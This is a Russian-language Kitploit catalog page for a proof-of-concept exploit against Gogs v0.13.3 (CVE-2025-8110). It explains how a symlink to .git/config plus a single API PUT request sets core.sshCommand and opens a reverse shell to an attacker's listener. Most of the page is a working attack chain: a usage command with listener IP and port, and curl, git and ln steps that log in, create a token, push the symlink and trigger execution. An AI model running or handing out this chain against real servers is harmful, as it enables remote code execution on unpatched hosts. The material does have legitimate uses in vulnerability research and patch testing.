Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2025-8110-PoC — Одношаговый эксплойт для Gogs symlink RCE (CVE-2025-8110), который запускает обратную оболочку через один PUT-запрос к UpdateRepoFile. | Kitploit
Инструменты/GitHubGitHub/mananispiwpiw/cve-2025-8110-poc
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеRed TeamingИнструмент Удаленного Доступа
GitHubmananispiwpiw/cve-2025-8110-poc

CVE-2025-8110-PoC

Одношаговый эксплойт для Gogs symlink RCE (CVE-2025-8110), который запускает обратную оболочку через один PUT-запрос к UpdateRepoFile.

Репозиторий
13 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2025-8110 PoC

Скрипт доказательства концепции на Python для CVE-2025-8110 — Gogs v0.13.3 UpdateRepoFile симлинк RCE. Одиночный выстрел: сам вредоносный PUT-запрос вызывает git fetch → sshCommand → обратная оболочка.

⚠️ Только для образовательных целей и авторизованных исследований безопасности. Запуск этого инструмента против систем, которыми вы не владеете или на тестирование которых у вас нет письменного разрешения, является незаконным.

Подробности

  • PoC для CVE-2025-8110
  • Уязвимая версия: Gogs v0.13.3
  • Исправленная версия: Gogs v0.13.4
  • Ссылка: https://github.com/gogs/gogs/security/advisories/GHSA-2f2w-5pm3-26wp

Уязвимое поведение

Обработчик UpdateRepoFile в internal/db/repo_editor.go вызывает для записи содержимого файла, который следует за симлинками без проверки их наличия. В сочетании с тем, что предыдущие коммиты симлинков переходят в , атакующий может:

os.WriteFile
.git/
  1. Отправить симлинк x → .git/config в голый репозиторий
  2. Вызвать PUT /api/v1/repos/{owner}/{repo}/contents/x с вредоносным .git/config, содержащим core.sshCommand, установленный на команду обратной оболочки
  3. Тот же PUT-запрос записывает конфигурацию и запускает git fetch origin (через CreateOrUpdateRepoFile → UpdateLocalCopyBranch), который читает изменённую конфигурацию и выполняет sshCommand — порождая обратную оболочку за один выстрел.

Файлы

  • poc.py: запрашивает цель, имя пользователя, пароль, LHOST и LPORT; входит в систему, создаёт API-токен, создаёт репозиторий, отправляет симлинк и перезаписывает .git/config через API — сам одиночный PUT-запрос вызывает обратную оболочку.

Использование

Запуск:

root@kitploit:~
python3 poc.py --target https://gogs.example.com --username admin --password admin123 --lhost 10.10.14.206 --lport 9001

Аргументы

АргументОбязательныйОписание
--target / -tДаИмя хоста или URL цели Gogs
--usernameДаСуществующее имя пользователя Gogs
--passwordДаСуществующий пароль Gogs
--lhostДаIP-адрес слушателя для обратной оболочки
--lportДаПорт слушателя

Как это работает

  1. Вход — вход в веб-интерфейс Gogs с предоставленными учётными данными
  2. Токен — создание персонального API-токена через /user/settings/applications
  3. Репозиторий — создание нового пустого репозитория через API Gogs
  4. Отправка симлинка — клонирование репозитория, создание симлинка x → .git/config, коммит и отправка
  5. Перезапись и запуск (одиночный выстрел) — отправка PUT /api/v1/repos/{owner}/{repo}/contents/x с вредоносной конфигурацией git, содержащей core.sshCommand и URL удалённого репозитория SSH. Gogs' CreateOrUpdateRepoFile внутренне вызывает UpdateLocalCopyBranch → git fetch origin, который читает отравленную конфигурацию и выполняет sshCommand — порождая обратную оболочку за один запрос.

Эквивалентный curl

Вход и получение CSRF

root@kitploit:~
curl -c /tmp/gogs-cookies -b /tmp/gogs-cookies http://target/user/login
# Извлеките _csrf из ответа
curl -c /tmp/gogs-cookies -b /tmp/gogs-cookies -X POST http://target/user/login \
  -d '_csrf=<csrf>&user_name=<user>&password=<pass>'

Создание API-токена

root@kitploit:~
curl -c /tmp/gogs-cookies -b /tmp/gogs-cookies http://target/user/settings/applications
# Извлеките _csrf
curl -c /tmp/gogs-cookies -b /tmp/gogs-cookies -X POST http://target/user/settings/applications \
  -d '_csrf=<csrf>&name=poc-token'

Создание репозитория

root@kitploit:~
curl -X POST http://target/api/v1/user/repos \
  -H "Authorization: token <token>" \
  -H "Content-Type: application/json" \
  -d '{"name":"poc-repo"}'

Отправка симлинка

root@kitploit:~
git clone http://<user>:<token>@target/<user>/poc-repo.git
cd poc-repo
ln -s .git/config x
git add x
git commit -m "add symlink"
git push origin master

Перезапись и запуск (одиночный PUT — ожидайте тайм-аута, оболочка подключится)

root@kitploit:~
curl -X PUT http://target/api/v1/repos/<user>/poc-repo/contents/x \
  -H "Authorization: token <token>" \
  -H "Content-Type: application/json" \
  --max-time 10 \
  -d '{"message":"x","content":"<base64 of malicious git config>"}'

Сам PUT-запрос вызывает git fetch origin, который читает отравленный .git/config и выполняет обратную оболочку. Второй запрос не требуется.

Почему --max-time 10? Сервер может зависнуть на ~10 секунд, пока git обрабатывает запись и запускает fetch. Использование --max-time 10 гарантирует, что curl удерживает соединение достаточно долго, чтобы оболочка подключилась обратно. Без этого соединение может разорваться до того, как оболочка запустится.

Скачать инструмент